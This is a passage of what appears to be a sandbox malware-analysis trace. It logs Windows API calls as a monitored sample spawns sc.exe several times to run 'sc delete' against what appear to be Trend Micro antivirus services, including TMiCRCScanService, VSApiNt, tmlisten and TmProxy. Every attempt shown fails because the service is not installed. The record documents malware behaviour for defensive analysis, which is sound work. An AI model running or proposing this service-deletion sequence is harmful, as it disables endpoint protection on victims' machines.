dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.126] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f650, nSize=0x2, Arguments=0x20f680 | out: lpBuffer="跀0") returned 0x62 [0079.127] GetFileType (hFile=0x120) returned 0x3 [0079.127] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x308ea0 [0079.127] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x308ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n0", lpUsedDefaultChar=0x0) returned 98 [0079.127] WriteFile (in: hFile=0x120, lpBuffer=0x308ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f5f8, lpOverlapped=0x0 | out: lpBuffer=0x308ea0*, lpNumberOfBytesWritten=0x20f5f8*=0x62, lpOverlapped=0x0) returned 1 [0079.127] LocalFree (hMem=0x308ea0) returned 0x0 [0079.127] LocalFree (hMem=0x308dc0) returned 0x0 [0079.127] LocalFree (hMem=0x0) returned 0x0 [0079.127] CloseServiceHandle (hSCObject=0x3043e0) returned 1 [0079.129] exit (_Code=1060) Thread: id = 117 os_tid = 0x8cc Process: id = "59" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x43b41000" os_pid = "0x8fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TMiCRCScanService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 118 os_tid = 0xbb8 [0079.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fe70 | out: lpSystemTimeAsFileTime=0x14fe70*(dwLowDateTime=0x3891a3d0, dwHighDateTime=0x1d62786)) [0079.185] GetCurrentProcessId () returned 0x8fc [0079.185] GetCurrentThreadId () returned 0xbb8 [0079.186] GetTickCount () returned 0x1149d68 [0079.186] QueryPerformanceCounter (in: lpPerformanceCount=0x14fe78 | out: lpPerformanceCount=0x14fe78*=19905926331) returned 1 [0079.187] GetModuleHandleW (lpModuleName=0x0) returned 0xff760000 [0079.187] __set_app_type (_Type=0x1) [0079.187] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff767228) returned 0x0 [0079.188] __wgetmainargs (in: _Argc=0xff76b604, _Argv=0xff76b610, _Env=0xff76b608, _DoWildCard=0, _StartInfo=0xff76b050 | out: _Argc=0xff76b604, _Argv=0xff76b610, _Env=0xff76b608) returned 0 [0079.189] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.191] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.191] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.191] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.191] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.192] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.192] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.192] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.192] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.192] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.192] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.192] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.192] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.192] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.192] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.192] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.192] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.192] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.192] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.192] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.192] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.192] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.193] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2943e0 [0079.197] OpenServiceW (hSCManager=0x2943e0, lpServiceName="TMiCRCScanService", dwDesiredAccess=0x10000) returned 0x0 [0079.197] GetLastError () returned 0x424 [0079.197] _itow (in: _Dest=0x424, _Radix=1375448 | out: _Dest=0x424) returned="1060" [0079.197] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff76b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.199] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14fc90, nSize=0x2, Arguments=0x14fcc0 | out: lpBuffer="跀)") returned 0x62 [0079.200] GetFileType (hFile=0x120) returned 0x3 [0079.200] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x298ea0 [0079.200] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x298ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n)", lpUsedDefaultChar=0x0) returned 98 [0079.200] WriteFile (in: hFile=0x120, lpBuffer=0x298ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14fc38, lpOverlapped=0x0 | out: lpBuffer=0x298ea0*, lpNumberOfBytesWritten=0x14fc38*=0x62, lpOverlapped=0x0) returned 1 [0079.200] LocalFree (hMem=0x298ea0) returned 0x0 [0079.200] LocalFree (hMem=0x298dc0) returned 0x0 [0079.200] LocalFree (hMem=0x0) returned 0x0 [0079.200] CloseServiceHandle (hSCObject=0x2943e0) returned 1 [0079.202] exit (_Code=1060) Thread: id = 119 os_tid = 0x754 Process: id = "60" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44a46000" os_pid = "0x5e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete VSApiNt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 120 os_tid = 0x290 [0079.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fa70 | out: lpSystemTimeAsFileTime=0x16fa70*(dwLowDateTime=0x389d8ab0, dwHighDateTime=0x1d62786)) [0079.262] GetCurrentProcessId () returned 0x5e4 [0079.262] GetCurrentThreadId () returned 0x290 [0079.263] GetTickCount () returned 0x1149db6 [0079.263] QueryPerformanceCounter (in: lpPerformanceCount=0x16fa78 | out: lpPerformanceCount=0x16fa78*=19913626226) returned 1 [0079.264] GetModuleHandleW (lpModuleName=0x0) returned 0xff3b0000 [0079.264] __set_app_type (_Type=0x1) [0079.264] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3b7228) returned 0x0 [0079.264] __wgetmainargs (in: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608, _DoWildCard=0, _StartInfo=0xff3bb050 | out: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608) returned 0 [0079.265] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.268] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.268] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.268] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.268] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.268] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.268] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.268] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.268] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.268] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.268] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.268] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.268] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.268] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.268] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.268] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.268] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.268] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.268] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.268] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.268] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.269] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.269] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.269] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b4370 [0079.274] OpenServiceW (hSCManager=0x1b4370, lpServiceName="VSApiNt", dwDesiredAccess=0x10000) returned 0x0 [0079.274] GetLastError () returned 0x424 [0079.274] _itow (in: _Dest=0x424, _Radix=1505496 | out: _Dest=0x424) returned="1060" [0079.274] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.276] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f890, nSize=0x2, Arguments=0x16f8c0 | out: lpBuffer="跀\x1b") returned 0x62 [0079.277] GetFileType (hFile=0x120) returned 0x3 [0079.277] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8ea0 [0079.277] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0079.277] WriteFile (in: hFile=0x120, lpBuffer=0x1b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x1b8ea0*, lpNumberOfBytesWritten=0x16f838*=0x62, lpOverlapped=0x0) returned 1 [0079.277] LocalFree (hMem=0x1b8ea0) returned 0x0 [0079.277] LocalFree (hMem=0x1b8dc0) returned 0x0 [0079.277] LocalFree (hMem=0x0) returned 0x0 [0079.277] CloseServiceHandle (hSCObject=0x1b4370) returned 1 [0079.279] exit (_Code=1060) Thread: id = 121 os_tid = 0x80c Process: id = "61" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4474b000" os_pid = "0x84c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TmCCSF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 122 os_tid = 0x87c [0079.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefe50 | out: lpSystemTimeAsFileTime=0xefe50*(dwLowDateTime=0x38a97190, dwHighDateTime=0x1d62786)) [0079.330] GetCurrentProcessId () returned 0x84c [0079.330] GetCurrentThreadId () returned 0x87c [0079.330] GetTickCount () returned 0x1149e04 [0079.331] QueryPerformanceCounter (in: lpPerformanceCount=0xefe58 | out: lpPerformanceCount=0xefe58*=19920422550) returned 1 [0079.332] GetModuleHandleW (lpModuleName=0x0) returned 0xffc70000 [0079.332] __set_app_type (_Type=0x1) [0079.332] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc77228) returned 0x0 [0079.332] __wgetmainargs (in: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608, _DoWildCard=0, _StartInfo=0xffc7b050 | out: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608) returned 0 [0079.333] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.334] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.334] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.334] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.334] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.334] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.334] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.335] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.335] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.335] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.335] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.335] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.335] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.335] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.335] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.335] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.335] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.335] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.335] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.335] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.335] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.335] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.335] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.335] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.335] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x124370 [0079.339] OpenServiceW (hSCManager=0x124370, lpServiceName="TmCCSF", dwDesiredAccess=0x10000) returned 0x0 [0079.340] GetLastError () returned 0x424 [0079.340] _itow (in: _Dest=0x424, _Radix=982200 | out: _Dest=0x424) returned="1060" [0079.340] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.342] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xefc70, nSize=0x2, Arguments=0xefca0 | out: lpBuffer="跀\x12") returned 0x62 [0079.342] GetFileType (hFile=0x120) returned 0x3 [0079.342] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x128ea0 [0079.342] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x128ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x12", lpUsedDefaultChar=0x0) returned 98 [0079.342] WriteFile (in: hFile=0x120, lpBuffer=0x128ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xefc18, lpOverlapped=0x0 | out: lpBuffer=0x128ea0*, lpNumberOfBytesWritten=0xefc18*=0x62, lpOverlapped=0x0) returned 1 [0079.342] LocalFree (hMem=0x128ea0) returned 0x0 [0079.342] LocalFree (hMem=0x128dc0) returned 0x0 [0079.342] LocalFree (hMem=0x0) returned 0x0 [0079.342] CloseServiceHandle (hSCObject=0x124370) returned 1 [0079.344] exit (_Code=1060) Thread: id = 123 os_tid = 0x8ac Process: id = "62" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x44150000" os_pid = "0x8ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete tmlisten" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 124 os_tid = 0x924 [0079.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fa10 | out: lpSystemTimeAsFileTime=0x16fa10*(dwLowDateTime=0x38b2f710, dwHighDateTime=0x1d62786)) [0079.393] GetCurrentProcessId () returned 0x8ec [0079.393] GetCurrentThreadId () returned 0x924 [0079.393] GetTickCount () returned 0x1149e43 [0079.393] QueryPerformanceCounter (in: lpPerformanceCount=0x16fa18 | out: lpPerformanceCount=0x16fa18*=19926680119) returned 1 [0079.395] GetModuleHandleW (lpModuleName=0x0) returned 0xff640000 [0079.395] __set_app_type (_Type=0x1) [0079.395] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff647228) returned 0x0 [0079.395] __wgetmainargs (in: _Argc=0xff64b604, _Argv=0xff64b610, _Env=0xff64b608, _DoWildCard=0, _StartInfo=0xff64b050 | out: _Argc=0xff64b604, _Argv=0xff64b610, _Env=0xff64b608) returned 0 [0079.396] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.398] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.398] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.398] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.398] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.398] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.398] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.398] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.398] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.398] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.398] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.398] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.398] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0079.398] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0079.398] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0079.398] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0079.398] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0079.398] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0079.398] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0079.398] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0079.399] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0079.399] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0079.399] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0079.399] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0079.399] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0079.399] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0079.399] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0079.399] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c4370 [0079.402] OpenServiceW (hSCManager=0x2c4370, lpServiceName="tmlisten", dwDesiredAccess=0x10000) returned 0x0 [0079.402] GetLastError () returned 0x424 [0079.402] _itow (in: _Dest=0x424, _Radix=1505400 | out: _Dest=0x424) returned="1060" [0079.402] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff64b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0079.404] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f830, nSize=0x2, Arguments=0x16f860 | out: lpBuffer="跀,") returned 0x62 [0079.404] GetFileType (hFile=0x120) returned 0x3 [0079.405] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8ea0 [0079.405] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0079.405] WriteFile (in: hFile=0x120, lpBuffer=0x2c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f7d8, lpOverlapped=0x0 | out: lpBuffer=0x2c8ea0*, lpNumberOfBytesWritten=0x16f7d8*=0x62, lpOverlapped=0x0) returned 1 [0079.405] LocalFree (hMem=0x2c8ea0) returned 0x0 [0079.405] LocalFree (hMem=0x2c8dc0) returned 0x0 [0079.405] LocalFree (hMem=0x0) returned 0x0 [0079.405] CloseServiceHandle (hSCObject=0x2c4370) returned 1 [0079.406] exit (_Code=1060) Thread: id = 125 os_tid = 0x954 Process: id = "63" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x43f55000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TmProxy" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 126 os_tid = 0x9b4 [0079.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fd10 | out: lpSystemTimeAsFileTime=0x26fd10*(dwLowDateTime=0x38bc7c90, dwHighDateTime=0x1d62786)) [0079.455] GetCurrentProcessId () returned 0x984 [0079.455] GetCurrentThreadId () returned 0x9b4 [0079.455] GetTickCount () returned 0x1149e81 [0079.455] QueryPerformanceCounter (in: lpPerformanceCount=0x26fd18 | out: lpPerformanceCount=0x26fd18*=19932879716) returned 1 [0079.457] GetModuleHandleW (lpModuleName=0x0) returned 0xffd80000 [0079.457] __set_app_type (_Type=0x1) [0079.457] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd87228) returned 0x0 [0079.457] __wgetmainargs (in: _Argc=0xffd8b604, _Argv=0xffd8b610, _Env=0xffd8b608, _DoWildCard=0, _StartInfo=0xffd8b050 | out: _Argc=0xffd8b604, _Argv=0xffd8b610, _Env=0xffd8b608) returned 0 [0079.458] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.460] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0079.460] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0079.460] _wcsicmp (_String1="delete", _String2="query") returned -13 [0079.460] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0079.460] _wcsicmp (_String1="delete", _String2="start") returned -15 [0079.460] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0079.460] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0079.460] _wcsicmp (_String1="delete", _String2="control") returned 1 [0079.460] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0079.460] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0079.460] _wcsicmp (_String1="delete", _String2="config") returned 1 [0079.460] _wcsicmp (_String1="delete", _String2="description") returned -7 [0079.460] _wcsicmp 